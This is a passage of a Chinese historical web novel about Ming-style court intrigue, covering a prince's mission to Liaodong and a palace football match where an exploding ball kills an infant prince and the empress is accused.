他放下手中粗陶碗,截断了朱弘毅那飘远的思绪:“殿下,辽东的局势,你知晓多少?” “略知道些。” 朱弘毅答道:“军饷欠了三年,冬衣不足,去年冻死三百余人,北狄年年犯边,边军节节败退。” “还有呢?” “巡抚李道远,是康敏之的嫡系。督师高第,是魏琰的走狗。” 朱弘毅声音平淡,继续说道:“总兵郑康,在中间和稀泥。” 徐明阳笑了笑,笑意却未达眼底:“殿下知道得倒是很清楚嘛。” 说罢,他起身行至墙边,指着那幅舆图说道:“李道远此人,虽然贪婪,但人不蠢。他知晓康敏之将他放在辽东是为了捞银子,故而捞得狠,却也知分寸,至少明面上的防务还算过得去。” 而后,他手指往右移,点到另一处:“高第则不同,他是彻头彻尾的鼠辈,除了会巴结魏琰,克扣军饷,旁的什么都不会。去年北狄犯边,他躲在城中不敢出,任由城外三个村子被屠。” 朱弘毅盯着舆图上的那个点,眼前似浮现出那无辜被屠的村落,凄惨一片,一时沉默不语。 “郑康…” 说到此人,徐明阳的手指在总兵府的位置虚虚一划,复又开口:“他是周承山之后第四任辽东总兵了,前三任,一个战死,两个被阉党构陷去职,郑康能坐稳此位,全凭擅长充楞装傻。” 说罢,他转过身,背手望着朱弘毅:“周承山昔年曾救过郑康的命,他也曾与我数次对饮,然这些年,他闭门谢客,概不见人。” “自保。”朱弘毅道。 “正是。”徐明阳颔首:“故此人或可为突破口,然而须看殿下如何撬动。” 朱弘毅点头。 屋内静了片刻,外头传来几声鸡叫声。 徐明阳走回桌边,俯身从桌底拖出一只麻袋,袋身沉甸甸的,他费了好些气力才拽出来。 “这里头是土豆与玉米的种子。”他解开袋口,抓出了一把。 “辽东地寒,这两种作物耐冻,易活,亩产至少是麦子的三倍。” 说罢,他将种子放回,扎紧袋口:“你将它们带去,届时寻块地试种,若能成,来年开春,辽东的百姓便能多一口饭吃。” 朱弘毅望着那麻袋,喉间有些微微发紧:“老师…” “先莫急着道谢。” 徐明阳摆了摆手,神色肃然:“粮食能活民,但不能退敌。辽东真正的困局,不在饥寒,而在人心涣散,军无战心。” 言及此处,徐明阳眸光微沉,似忽忆及一事:“然欲破此困局,尚有一人可用。” 朱弘毅目光一凝:“谁?” “张文龙。” 徐明阳行至墙边,又重新审视起那幅辽东舆图,目光停驻在那片广袤 的海域上。 “此人是周家军的旧部,昔年黑水河一战,他率偏师在外巡防,侥幸避过此劫,后来朝廷问罪周家军,他干脆反了出去,占据了皮岛。” 皮岛… 朱弘毅记得此地,舆图上不过弹丸之地,孤悬于北狄后方。 “这些年,他在皮岛自立为王,收容辽东逃过去的难民,屯田练兵,不时袭扰北狄沿海。” 徐明阳回过身,目光灼灼:“北狄人对他恨之入骨,数度进剿,皆因皮岛地势险要,未能攻下。” “那朝廷对他,作何态度?”朱弘毅追问道。 “朝廷?” 徐明阳嗤笑了一声,笑意中带着讥诮:“朝廷斥他为不服王化的海寇,数次发檄文声讨,可谁人真去征剿?李道远与高第巴不得他在北狄背后掣肘,好替他们分担边患。” 朱弘毅沉默着,似在思索什么。 徐明阳坐回椅中,继续说道:“张文龙此人,我见过。性情刚烈,认死理。他当年反出朝廷,并非想当什么海寇之王,实则是寒了心,他觉得朝廷负了周家军,负了周承山。” 屋内复又安静了一瞬。 良久,朱弘毅才开口:“老师是要学生去拉拢他?” 徐明阳摇了摇头,而后望定他,目光如炬:“并非拉拢,而是拿着玉佩去寻他,告诉他周承山的女儿还活着,周家的冤屈未雪,问他还记不记得黑水河畔,当年流过的血。” 朱弘毅垂首,手指无意识地摩挲着茶碗的边缘,粗陶质地糙砺,磨得他指腹微微发热。 半晌,他抬首,问道:“他会见我么?” “难说。”徐明阳直言:“可能一见你就要砍了你,觉得你是朝廷派来招安的骗子,也未可知。” 朱弘毅闻言,竟笑了笑:“便是真要砍了我,刀山火海,这一遭我也闯定了。” 笑过之后,他复又问道:“皮岛如何去?” “由辽东海州出海,往东三百里。” 徐明阳道:“但海上风险极大,即便你到了皮岛,张文龙肯不肯见你,也未可知。” 朱弘毅点头,不再追问。 于天津卫盘桓数日,与徐明阳秉烛夜谈,获益良多,然终须一别。 离别这日,徐明阳摆摆手,送朱弘毅至院外。 长安已牵马候在门外,一麻袋的种子已捆缚妥当。 徐明阳望着他翻身上马,忽然开口: “殿下,辽东百姓等的,并非是一位亲王。” 他顿了顿,语声苍凉悲壮: “他们等的,是另一个周承山。” 朱弘毅握着缰绳的手倏然收紧。 他抱拳一礼,未再多言,调转马头。 两骑绝尘而去,行出数里,朱弘毅再回首,那田庄已化作天际一点。 长安驱马并行,低声问道:“殿下,往何处去?” 朱弘毅望向前方,官道蜿蜒,没入苍茫天际。 “辽东。”《 》 110-120 第111章 西六宫的储秀宫, 这几日格外热闹。 当泰和帝踏进储秀宫门时,任容妃正抱着襁褓立于廊下恭候。 她今日穿了一身杏子红的立领对襟长衫,下配素白色的马面裙, 发间仅簪了一支累丝发簪。人虽清减了些, 反更添几分楚楚动人之态。 “陛下。”她福身行礼, 怀中那团小宝宝也随之轻轻动了动。 泰和帝伸手相扶,目光落在了那小小的襁褓上。 他盯着小宝宝看了好一会儿,才小心翼翼地伸出手,用指背轻轻碰了碰婴儿的脸颊。 好软,好温。 他忽然感觉有些恍惚。 在他登基后的这些年里,皇后的孩子没能保住,王美人, 李贵嫔的孩子亦是没能保住。 太医院跪了一地,都说龙胎珍贵, 可越是珍贵, 越是留不住。 他渐渐已不抱指望,直到任容妃有孕。 孩子如今真真切切地被他抱在怀里,泰和帝反倒觉得有些不真实。 他低头看着那张熟睡的小脸儿, 眉毛淡淡的,鼻子小小的, 嘴巴微微张着,露出一点粉嫩的舌尖。 “可曾取名?”他抬头问任容妃。 任容妃轻声答道:“还没呢, 等着陛下赐名。” 泰和帝又垂首看了半晌,方才道:“不急, 容朕再想想。” 说罢,他抱着孩子在殿内缓缓踱了一会步,午后的阳光从雕花窗棂间漏了进来, 在地上投下斑驳的光影。 孩子在他臂弯里动了动,发出细微的哼哼声,嘴里吐着小泡泡,他忙将动作放得更轻更柔。 任容妃随在他身后半步,目光落在他的侧脸上。 她看着看着,忽然开口道:“陛下,臣妾听闻…宫中要办蹴鞠赛?” 泰和帝低应了一声,视线仍未离开孩子:“朕想着,热闹热闹。” 任容妃的声线软了下去,娇怯怯道:“妾…妾也想去。” 泰和帝的脚步顿了顿,转头看向她:“你的身子还没好利索。” 奶娘杨氏审时夺度,从皇帝手中接过小皇子。 任容妃往前凑了半步,依偎进皇帝怀里,仰起俏脸儿看向他:“妾养了这些日子,早就好了。” 日影斜照在她脸颊上,眼底泛起薄薄的水光,她语声轻细,尾音拖得极长,如羽毛在心尖上挠:“陛下就不想瞧瞧妾穿蹴鞠服的模样?尚服局新制了海棠红的,妾试过了,极衬肤色。” 泰和帝未作声。 任容妃又往他怀里蹭了蹭,娇声道:“再说…蹴鞠乃是高皇旧制,后宫姐妹人人都去,妾若缺席,姐妹们岂不要议论,说妾仗着诞下皇子,便这般拿乔作态?” 殿内一时沉静了片刻。 随后,魏琰的声音适时响起,不高不低,刚好能让皇帝听见:“陛下,老奴斗胆进一言,容妃娘娘年轻,爱热闹亦是常情,太医院的郭太医昨日才来请过脉,说娘娘恢复得极好,适当走动反有助益。” 说罢,他复又垂手立于门边,适时恭谨低头。 泰和帝侧首看了看任容妃,见她眼巴巴地望着自己,唇紧抿着,那神情让他忆起许多年前,她刚入宫时,也是这般像受惊的小鹿似的怯生生地看着他。 “罢了。” 半晌,他终于松口:“想去便去吧。” 任容妃闻言眼睛一亮,刚要谢恩,泰和帝却又补上一句:“不过只许观战,不可下场,抱好孩子,在凉棚里安坐便是。” “谢陛下!”任容妃福下身,声音里满是欢喜。 ———— 皇城内,天色说变就变。 适才还是晴空万里,转瞬之间,铅云已沉沉压下。 周妙雅自六尚局取了蹴鞠比赛的名录,正准备回坤宁宫,谁知刚走到西六宫的长街,豆大雨点便劈头砸了下来。她忙将名录护入怀中,疾步避入了就近的廊檐下。 雨势来得又急又猛,转眼之间,路面上已积水四溅,白茫茫一片,远处的殿宇楼台,尽数隐在了雨幕之下。 她正望着突如其来的暴雨出神,忽闻一阵脚步声匆匆而至。 转头时,正见顾凌云从坤宁宫的方向疾步而来。 他今日未着飞鱼服,只一身玄色劲装,雨幕将他的眉眼衬得愈发冷峻。 两人在廊下打了个照面。 顾凌云脚步顿住,目光落在她怀中护着的名册上:“周司典。” “顾大人。”周妙雅颔首回礼。 雨越下越急,檐下积水已汇成细流,汩汩地往下淌。 一阵风斜刮过来,挟着凉意的水汽瞬间扑了周妙雅一脸。 她下意识地往后退了半步,肩头却还是被淋湿了一片。 顾凌云伸手扶住她:“小心,别淋了雨。” 说罢,他将手中油纸伞往前一递,不由分说地塞到了她的手里。 周妙雅一怔。 那伞柄上还留着他掌心的温度,就在他将伞塞到她手中的瞬间,两人的手在不经意间碰在了一处。 他的手背骨节分明,她的指尖微凉。 那触碰不过转瞬即逝,却让廊下的空气无端凝滞了片刻。 她抬起眼,正撞上了他的目光。 顾凌云已收回手,侧过脸去望着廊外瓢泼的雨幕:“雨大,周司典早些回吧。” “顾大人…” 周妙雅攥紧伞柄,那上面残留的温热仿佛还灼着指尖:“这伞给了我,你怎么办?” “无妨。” 他答得简短:“几步路而已。” 说罢,他竟真的迈步就要往雨中走去。 “顾大人!”周妙雅急急唤住他。 顾凌云脚步微微顿了顿,却未回首。 雨声哗哗地在耳边响着,衬得这一方廊檐下寂静得格外分明。 豆大的雨水瞬间洇湿了顾凌云的衣服,颜色明显更深了一块。 他终是开口,声音被雨声冲得有些模糊:“皇后娘娘还在等名册,周司典快回去吧。” 话音落下,他已大步踏入雨中。 周妙雅撑着伞回到坤宁宫时,裙摆已被雨水打湿了半幅。 她收了伞立在廊下,轻轻抖落伞面上的水珠。 皇后顾云舒正坐在窗边看一本棋谱,闻声抬眸望了过来。 她的目光先是落在了周妙雅微湿的鬓发上,而后缓缓下移,最终停在了她手边那柄油纸伞上。 这不是凌哥儿刚刚来看望她时,撑的那把伞? 周妙雅浑然未察觉到什么异常,只轻轻从怀里取出那本名册,用手帕拭去封面上沾的水汽。 她轻声禀报着:“雨下得突然,幸得半途借了把伞,名册才未被淋湿。” 顾云舒望着周妙雅垂首敛眉的侧影,又瞥了眼靠在廊柱上的那把伞,心头蓦地涌起一阵说不清道不明的滋味。 她那个傻弟弟啊。 人家姑娘的心思,分明系在另一个人身上。 可她那傻弟弟呢?只会默不作声地把伞递到人家姑娘手里,自己转身走进疾风骤雨中。 淋湿了衣衫,吹冷了身子,回到那空荡荡的北镇抚司值房,又有谁,会替他熬一碗姜汤暖身? 顾云舒忽然觉得心口一窒。 她伸手取过案边茶盏,茶已凉了,入口生涩。 “你下去吧。” 顾云舒将茶盏置于案上:“去换身干爽衣裳,仔细着凉。” 周妙雅敛衽告退。 ———— 待周妙雅走后,顾云舒拿起那本放在案上,微微有些发潮的蹴鞠比赛名册。 目光触及观礼席下任容妃三个字,脑海中霎时掠过无数细碎的画面。 王美人小产那日,血濡了半床锦褥,太医院跪了满地,皆道娘娘体质虚寒,胎象本就不稳。 那时她立于殿外,亲眼瞧着宫人将一盆盆的血水端出,心里明镜似的。 李贵嫔怀胎五月,突然胎死腹中,太医称误食寒凉之物,然那日贵嫔的膳单,她亲阅过,每一道菜都验过,无毒。 而她自己呢?好端端怀着皇嗣,竟被产婆以手法暗算,生生按落了胎。 在这深宫之中,孩子不是你想有就能有的。 须得有人让你有,你才能有。 任容妃凭何能有? 只因她跪在魏琰跟前,恭恭敬敬地唤着干爹。 任容妃进宫前,在魏琰的外宅里住了整整两年。 据说魏琰府中养着好几个从江南请来的嬷嬷,最懂调养女子身体。 汤药如何配伍,膳食如何进补,如何养得肌肤胜雪,身段玲珑,那些江南嬷嬷自有一套秘法,甚至…床笫之间的那些手段,都有人细细教导。 后来任容妃果然恩宠日盛。 皇帝去储秀宫的次数越来越多,赏赐也一次比一次丰厚。 有嫔妃私下里酸,说任容妃会勾人。 想到这里,顾云舒的指尖从名册上任容妃三字轻轻拂过。 她才出月子多久?身子都没养好,偏要来这蹴鞠场?以魏琰对她的金贵程度,不该如此。 蹴鞠那是什么场合? 二十几个女子在场上奔跑争抢,鞠球飞来飞去,场边围满了人。欢呼声,喝彩声,惊叫声,混在一起,震得人耳膜发疼。 万一呢? 万一谁跑急了撞到她,万一谁踢偏了球砸到她,万一她抱着孩子没站稳… 顾云舒下意识地闭上双眼。 后果…不堪设想。 那终究是陛下唯一的骨血,纵然后宫龌龊争斗无休,稚子何辜?身为中宫,她考量的,终是这大晟的江山社稷。 魏琰究竟想要做什么? 她太了解那个老阉奴了,他做的每一件事,说的每一句话,背后都藏着算计。 让任容妃抱着孩子来看蹴鞠,绝不只是为了热闹。 可偏偏她想不透。 这步棋,他究竟要落往何处? 第112章 宫里举办蹴鞠赛这日, 御花园东边的空地上早早就围起了紫锦帷障。 那紫锦是南京内织染局今岁新贡的云纹妆花缎,地面上铺了三层西域进贡的波斯长绒毯,四边边角用鎏金铜钉紧紧地钉在地上。 宫人沿着帷障的边缘插了一圈彩旗, 赤橙黄绿的, 在秋风中猎猎作响。 任容妃的紫罗伞帐就设在帷障的北侧, 她今日穿着尚服局新制的海棠红色蹴鞠服,颜色如胭脂初染,热烈明艳。 乳母杨氏抱着小皇子,低眉垂目地坐在帷障的边沿,距她不过三尺的距离。 场中两队已各据东西站定,蓄势待发。 场西边是尚功,尚寝, 尚服三局的女官,个个挽着袖子, 露着白生生的腕子, 面上尽是跃跃欲试之色。 东边则是尚宫,尚仪,尚食三局的女官, 她们垂手敛衽,身形站得笔直, 俨然一副严阵以待的架势。 任容妃扶住宫娥的手臂,款步下了高台。 内侍捧来鞠球, 她接过来掂了掂,忽然抬足, 用绣鞋鞋尖轻轻一点… 霎时间,那球便斜斜飞了出去。 帷障外顿时暴起一阵喝彩声。 任容妃回身,抬眸往高台上望去, 正与泰和帝的目光相接,他嘴角噙着笑意,她便也笑靥如花,如春水漾开,梨涡浅现,娇媚无比。 她朝他福了一福,而后扶着宫娥的手,款步走回了紫罗伞帐。 周妙雅侍立在记录席旁,手中捧着记档册,奋笔疾书,记录场上焦灼的战局。崔尚宫在她身侧,孙女官垂手立于另一边,三人皆未言语。 鞠球在场中往来飞渡,已过了好几个回合。 几轮下来,场上渐渐见了汗。 任容妃本在高台上看着,忽然又站起身来。 “陛下!” 她声音虽不高,却娇媚,却恰好能让泰和帝听见:“臣妾瞧着,咱们这边要输呢。” 泰和帝侧首看她:“怎么?” “您瞧呀!” 任容妃指着场上:“臣妾西边的队伍都是司乐,尚寝的人,她们哪里会踢球?皇后那东边的可都是尚宫局的人,平日里便管着六宫,个个都厉害得紧。” 泰和帝眉心微蹙:“蹴鞠而已,何必较真。” “陛下说得是。” 任容妃立刻应道,可眼波一转,声音又软了下去:“臣妾不过是瞧着心急罢了,臣妾听说,先帝在时,每逢蹴鞠赛,太妃们也都下场同乐,那才叫热闹呢。” 泰和帝皱眉:“你身子还没好利索。” “陛下,臣妾想去吗…臣妾的身子早就好了。” 任容妃噘起嘴,眼波流转,忽而又落到皇后身上:“皇后娘娘您说是不是?妇人生育本是常事,哪就那么娇贵了?娘娘当年…不也怀过皇子么?” 顾云舒目不斜视,只看着场内焦灼的战况,并未理会她。 泰和帝见她执意如此,只是溺爱般轻轻点了点头,低声叮嘱了一句:“下场仔细些,莫要叫那球冲撞到了。” 任容妃福礼谢过皇帝,并未转身离开,反而得寸进尺,继而又说道:“臣妾进宫这些年,还没见过皇后娘娘蹴鞠的模样,听魏公公说,娘娘年轻时可是蹴鞠好手。娘娘为六宫之表率,若是能下场与后宫众妃嫔,女官同乐,岂不成全一桩美谈?” 魏琰适时躬身:“老奴多嘴了,只是先帝在时,确实常夸赞娘娘的球技。” 泰和帝遂看向皇后。 顾云舒不动声色。 她可太清楚这话里的陷阱了。 她若不下场,便是不肯与后宫同乐,是端着皇后的架子,若是下场输了 ,便是技不如人,失了中宫体面,若是赢了…赢了又如何?赢了便就是欺负刚出月子的容妃。 怎么选都是错… 思前想后,她淡淡道:“本宫多年不碰这些了。” “那便更是要活动活动筋骨了!” 任容妃笑盈盈说道:“陛下您说是不是?娘娘整日操心六宫事务,也该松快松快了。” 泰和帝看着皇后,眼神里有些复杂。 半晌,他终是开口道:“皇后若是累了,不去也罢。” 这话听着是体贴,可落在顾云舒耳中,却是另一重意思,皇帝终究是站在容妃那边了。 顾云舒的手在袖中缓缓收紧。 她抬眼看向皇帝。 曾经的他,眼中盛满少年意气,如今却笼着一层倦怠薄翳。 她忽然想起大婚那夜,红烛高照,他握着她的手说:“阿舒,往后在这宫里,孤与你并肩。” 并肩…她心中冷冷一笑。 如今他身边坐着海棠花似的任容妃,立着垂手恭立的魏琰。而她独坐于此,与他之间,像隔着万水千山。 她身中逍遥散剧毒,历经生死,他连看都不曾来看过一次。她在他心中的分量,竟还不如那个恶贯满盈的虚云子。 任容妃的声音又在耳边响了起来,甜腻腻的,像浓得化不开的蜜:“陛下这是疼惜娘娘呢,也是,皇后娘娘千金之躯,哪能像臣妾这般胡闹。” 这话听着是奉承,字字却都在往顾云舒心口捅刀子。 顾云舒望向场中,东边那些尚宫局,尚仪局与尚食局的女官们还在奋力抢球,一个个涨红了脸,汗水浸湿了鬓角。 她们还在为她这个皇后争脸面,哪怕只是一场蹴鞠比赛。 若是她今日不下场… 明日六宫会怎么传? “皇后娘娘连蹴鞠都不敢下场,怕是真失宠了。” “容妃娘娘生了皇子,陛下心里谁轻谁重,还不明白么?” 司礼监那些见风使舵的奴才,会先把好东西往哪儿送?六尚局那些忠心跟着她的女官们,往后还怎么在六局二十四司抬头? 还有前朝那些清流言官,那些尚在观望的臣子,那些暗地里与魏琰角力的人,他们会怎么看? 一个连后宫都压不住的皇后,还能指望她能襄助皇帝,制衡阉党么? 中宫的体面,从来不是锦上添花的点缀,是刀,是盾,是立足在这吃人后宫的根本。 今日她若往后退一步,明日便可能被逼退十步,今日若她丢了这份体面,往后想再捡起来,就太难了。 顾云舒缓缓吸了口气。 她看了看皇帝,他的目光已然微微偏开,看向任容妃那眼底藏不住的笑意。 忽然,她站起身来。 “如意。” 她声音稳得听不出一丝波澜,唤道:“取本宫的蹴鞠服来。” 泰和帝怔了一下,似乎想说些什么,可任容妃已经笑着接话:“皇后娘娘肯下场,真是太好了!” 顾云舒没有看她。 她只是微微侧身,对着皇帝福了一福:“陛下,臣妾确实多年不曾活动了,今日既然容妃有兴致,臣妾便陪她玩一玩。” 泰和帝看着她,眼神变得更复杂了些许。 他张了张嘴,最终只道:“那…皇后小心些。” “谢陛下关心。” 说罢,顾云舒转身走向屏风后。 如意捧着她那身靛青色的旧蹴鞠服,红着眼眶欲要上前伺候,被顾云舒抬手止了。 她自己动手,解开了腰间玉带,褪去了华服,摘下了凤冠。 镜中人一身素青,长发简挽,像是褪去了所有华彩。 她走出屏风时,场边所有人都屏息静了一瞬。 任容妃已站到西队阵前,海棠红的衣裳亮得灼眼。 见皇后穿一身素青旧蹴鞠服出来,她弯起眼睛笑道:“皇后娘娘肯与后宫众姐妹同乐,真是妾身们的福气。” 顾云舒没应声,她安静走到东队前,接过宫娥递来的鞠球,在掌心转了转。 泰和帝坐在高台上,看着她,嘴唇微微动了动,终究什么也没说。 崔尚宫一声号令响起,鞠球瞬间被抛起,场中顿时便活跃了起来。 有了皇后与容妃的加入,两队气势霎时都变了样。 东队的人腰板儿挺得更直,西队的人眼里闪着凶光。 鞠球在空中飞得更急,划过一道道弧线,带起一阵阵猎猎的风声。 泰和帝看着看着,身子渐渐前倾,只见他猛地拍了下膝头,高声赞了句:“好球!” 又一轮横冲直撞的争抢。 球在西队几人脚间传递,越传越快,任容妃接过球,没有停,直接往前一送,那球像长了眼睛,直直往皇后的方向飞去。 角度很刁,速度极快。 顾云舒抬脚去接,鞋尖触到球的刹那,她眉头微蹙。 那球的重量不对,比寻常鞠球要重很多,且质感硬邦邦的。 她本能地收力,改接为拨,只见她脚背一挑,那球瞬间改变了方向,斜斜飞了出去。 场边摆着取暖的铜火盆,炭火烧得正红,那球不偏不倚,正撞在火盆沿边上。 只听“哐当”一声闷响。 那铜火盆被撞得晃了晃,竟然倒了。 炭火泼出来,红亮亮的,溅了一地。 紧接着,只听“砰”的一声巨响… 炸裂声震得人耳膜发麻,那球竟在火光里爆开了!碎皮,断线与碎屑混着火星,四散飞溅。 场中瞬间大乱。 “护住陛下!锦衣卫何在?” 混乱中,只听得魏琰尖声大喊了一句。 周妙雅忙疾步抢上前,护住了皇后。 宫女惊叫,内侍慌奔。有人被火星溅到,捂着胳膊蹲了下去。 顾云舒站在原地没动,只任由周妙雅护着。她呆呆望向那堆还在冒烟的残骸,脸上没什么表情。 刹那间,她听见一声惊呼,回首望去,竟是乳母杨氏。 那妇人怀中抱着襁褓,原本坐在帷障边沿,爆炸声起时,她吓得猛一哆嗦,怀里的孩子被震得一跳。 紧接着,孩子“哇”地一声哭出声来,那哭声尖利,不似寻常的婴儿啼哭。 顾云舒转身看去。 只见杨氏怀中的襁褓剧烈地抖动起来,小小的身子绷得紧紧的,头往后仰,脖子梗着,背弓起来,手脚一下下地在抽搐。 “小殿下!小殿下!”杨氏声音都变了调。 只一瞬,那孩子的哭声突然戛然而止,抽搐也停了。 小小的身子软了下去,再也不动弹了。 直至脚步声从四面涌来,着飞鱼服的锦衣们卫冲进帷障,腰间绣春刀的碰撞声叮当作响。 任容妃瘫坐在地上,脸色煞白,眼睛直勾勾盯着杨氏怀里的襁褓,她嘴唇哆嗦着,想说什么,却发不出一点声音。 泰和帝已经站了起来,扶着御座扶手,手背青筋凸起。 此刻他也顾不得什么,抬脚便往帷障中间走去。 只见他径直走到乳母杨氏面前,伸手探了探小皇子的鼻息。 抽回手时,他浑身一哆嗦:“太医!快叫太医!” 待太医院郭太医提着药箱赶到,小皇子已彻底没了气息。 郭太医不敢隐瞒,忙跪下叩首:“陛下,臣无能…” 场内霎时一片死寂。 须臾,只听魏琰尖利的嗓音划破天际:“蓄意谋害皇嗣,好歹毒的心肠!还不拿下皇后!” 泰和帝尚未回过神来,只见一队锦衣卫已要围住皇后。 周妙雅见状,不顾一切从锦衣卫中拨开一道缝隙,直直在泰和帝面前跪了下来: “陛下!” 她猛地俯身磕头,额角重重叩着地面,叩出丝丝血痕。 “陛下,此事蹊跷,定有隐情!求陛下给下官三日,三日之内,下官必查清真相,还皇后娘娘一个清白!”—— 作者有话说:明代晚期宫廷女性的蹴鞠活动,在史料、文学与图像中均留下较丰富的痕迹,崇祯朝田贵妃“蹴鞠弹棋复第一”,常与宫女结成“齐云社”在御苑草坪比赛。《崇祯宫词》中有描述:“锦罽平铺界紫庭,裙衫风度压娉婷”“天边自结齐云社,一簇彩云飞更停” 天启五年十月初一,容妃任氏(魏忠贤义女)诞下皇三子朱慈炅。翌年五月初六京城发生王恭厂大爆炸,《酌中志》明确记载:“皇贵妃任娘娘所居之室器物陨落……皇第三子于是日受惊后遂薨逝。” 第113章 当顾凌云赶到现场时, 蹴鞠场内已是另一番景象。 周妙雅跪在地上,额头一下下地磕向地面。她额角已经磕破了,血混着尘土, 在脸上糊成了一片。 “求陛下明察…此事必有隐情…求陛下给下官三日时间, 下官必能查明真相…” 她的声音已经哑了, 却仍是一遍又一遍地求着,声声泣血。 泰 和帝就立于她前,如巍峨高山一般,纹丝不动,一言未发。 他垂首看了看地上那焦黑的蹴鞠球骸,半晌,复又抬头望了望不远处乳母杨氏怀里的那团小小的, 不再动弹的婴儿。 他面上无悲无喜,眼眸空洞, 似被利刃将内里全部剜尽。 魏琰审时度势, 趋前半步。 “放肆!” 他声音尖利,在一片寂静中显得格外清晰刺耳:“陛下面前,岂容你一个低阶女官置喙?” 周妙雅并未理会他, 她停也未没停,只一个劲儿地继续磕头, 额角流下的血顺着眉骨滚至下颌。 崔尚宫见状,也走到皇帝面前, 倏然跪了下来。 这位六尚局的最高女官,平日里最重规矩体统, 此刻亦叩首于阶下:“陛下,下官愿以性命担保,周司典素来稳妥, 此事…确需详查。” 孙司记亦随之跪了下来。 随后,尚宫局诸女官,冯尚仪,谢尚食,韩司药…一个接一个,像风吹过麦浪,悄然伏跪了一地。 魏琰大怒:“陛下,六局二十四司这是要反啊!” 顾凌云站在人群外围,手覆在刀柄之上。 他看见阿姐就呆坐在人群之后,一身靛青色的蹴鞠服,静若佛像。 周围是跪了一地的女官,可阿姐并未看她们,也并未看皇帝,只是空洞地望着远处的宫墙,眼神空茫。 泰和帝终于动了动,他回过神儿来,似自深水浮出,需要很用力才能呼吸。 他缓缓转过头,目光落在了周妙雅的身上。 他看了她很久,方才开口,声音沙哑得厉害:“你…是谁?” 周妙雅抬起头,血从额角上顺流而下,滑过脸颊,在下颌汇成小小的一滴,似坠未坠。 “下官尚宫局正七品司典,周妙雅。” 泰和帝听罢,皱了皱眉。 周妙雅…这个名字,他好像曾经在哪里听到过。 可此刻他脑子里乱糟糟的,像塞满了棉絮,什么也想不起来。他耳旁只剩任容妃的哭声,呜呜咽咽,没完没了,无休无止的。 他忽然觉得很累。 累得站不住,累得不想说话,累得…什么也不想管了。 任容妃还在那里哭,不停地哭,哭的撕心裂肺,哭得泰和帝心头生烦。 他抬起手,摆了摆,声线飘忽地开了口:“周司典,朕…便给你三日。” 场中静了一瞬。 魏琰猛地抬头:“陛下…” 泰和帝并未理会他,只是盯着周妙雅,语气冰冷:“三日后,你若查不到真相…便提头来见朕吧。” 周妙雅俯下身去,额头再次触地:“谢陛下隆恩,下官…领旨。” 泰和帝复又摆了摆手,转向皇后:“至于皇后…便先在坤宁宫,禁足吧。” 顾云舒闻言,面无表情,心底已是悲凉到极致。她微微侧首,淡淡地掠了皇帝一眼,多年的夫妻情分在这一刻已然荡然无存,余下的只有形同陌路罢了。 她站起身,展平衣摆,转身朝帷障外走去。 如意连忙跟上,主仆二人一前一后,似两缕青烟,转瞬便没入了深宫之中。 魏琰已经转身去安排人手了,锦衣卫开始清场,宫人们俯身收拾残局。 只剩周妙雅,仍孤跪在原地。 顾凌云走到她身边,单膝蹲下,递过去一方干净的素帕。 周妙雅这才惊觉额角的伤口生疼,还渗着血迹。 她接过帕子,轻轻拭了拭额角,瞬间疼得她倒吸了一口凉气。 顾凌云低声问她:“军令状既已立下,周司典接下来打算怎么办?” 周妙雅伤口疼得抽气,只轻轻摇了摇头:“走一步,算一步。” ———— 自那日起,周妙雅便再未踏出尚宫局的院门半步。 魏琰派去盯梢的人,日日夜夜伏在尚宫局的墙头檐下,眼睛熬得通红。可那扇门始终紧闭着,连窗都很少开。 偶尔有宫娥出入,也只是送些饭食笔墨,提着食盒进去,空着手出来。 一日,两日转瞬即逝。直至第三日卯正,盯梢的太监实在熬不住了,溜回司礼监禀报:“厂公,那周司典…怕是真的没招了吧。” 魏琰正用早膳,听闻此言,他搁下银箸:“嗯?怎么说?” “整日就是看书,写字,画些鬼画符儿似的东西,偶尔在院中散步,昨儿个下午,还让人送了盆菊花进去,说是…要赏秋。” 魏琰听着,皱起眉来。 他设想过周妙雅会去查验那堆球骸,会去审问当日场上的人,甚至可能暗中联络宁王府的旧部。 却独独未料到,她竟还有闲情赏花。 “你看清了?她当真只是读书写字?” “千真万确!” 那太监跪在地上,声音发颤:“奴才们轮流盯着,连她夜里几时熄灯都记着,她…她好像真的不急。” 魏琰默了半晌,指尖轻叩桌沿,连他这等老谋深算之人,竟猜不透一个乳臭未干的小丫头到底存的什么心思,当真是在打他的脸面。 “难不成…” 他低喃道:“当真只是个不知天高地厚的黄毛丫头?” 可那日蹴鞠场上,她磕头磕得那么狠,眼里却燃着一把火,不像是个蠢的。 既非愚钝,那她究竟在等什么? 魏琰思及此处,眉间沟壑更深…他竟看不透。 三日之期转眼便到了。 周妙雅自尚宫局走了出来,她换了一身崭新的七品女官官服,袖口领缘系的一丝不苟。 额上的伤已经结了痂,她用脂粉薄薄盖了一层,不仔细看,根本瞧不出来。 崔尚宫等在院门外,见她出来,未发一言,只轻轻颔首,示意她一切准备就绪。 两人一前一后,朝乾清宫走去。 乾清宫宫门外已汇集了不少人,周妙雅从人群中走过,眉目沉静,如入无人之境。 崔尚宫在她身侧,低声问:“可准备好了?” 周妙雅轻轻颔首。 殿门恰在这时开了。 内侍尖细的嗓音传出:“宣——尚宫局司典周妙雅,觐见——” 周妙雅从容不迫地走进了乾清宫。 殿内的光线比外面要暗很多,一股浓浓的丹药味扑面而来。 泰和帝坐在御案后面,身子微微佝着,单手撑着额角,看起来很是疲惫。 皇后脊背挺得笔直,端坐在下首,魏琰与任容妃侍立在旁,任容妃的眼睛还红肿着,手中紧紧绞着一方帕子。 周妙雅走到御案前,跪下端端正正叩首。 泰和帝抬眼,目光在她身上停了一瞬,才哑声问道:“周司典,三日期限已过,你可有查清案情?” 他语气极淡,没什么力气,像是在例行公事地询问。 周妙雅直起身,从怀中取出一本薄薄的奏章,双手高举过头顶:“回陛下,下官已查明此案的前因后果,一应详情俱在此奏章中,请陛下明察。” 她话音落地,魏琰的眼角猛地抽搐了一下,心中暗想,这周妙雅到底葫芦里卖的是什么药? 内侍上前接过奏章,捧至御前。 泰和帝拿起奏章,翻开来看。 只看了一眼,他便眉头紧锁,再往下翻,越翻越快,脸色也越来越沉。 “啪!” 奏章被重重摔回了案上。 “周妙雅!” 他声音陡然拔高,怒意翻涌:“你该当何罪?” 殿中所有人都被惊得抬起了头。 只见那摊开的奏章里,密密麻麻地画着各种奇怪的图形:直线,弧线,交叉的角,旁边还标注着看不懂的符号,乍一看,确实像鬼画符。 魏琰心底一声冷笑:原来真是拿自己脑袋开玩笑的蠢物? 周妙雅依旧跪得端端正正,声音平静如水:“回陛下,此图并非胡画,西洋人谓之几何与物理,下官不过是借其术,以图复原当日事发现场之景罢了。” 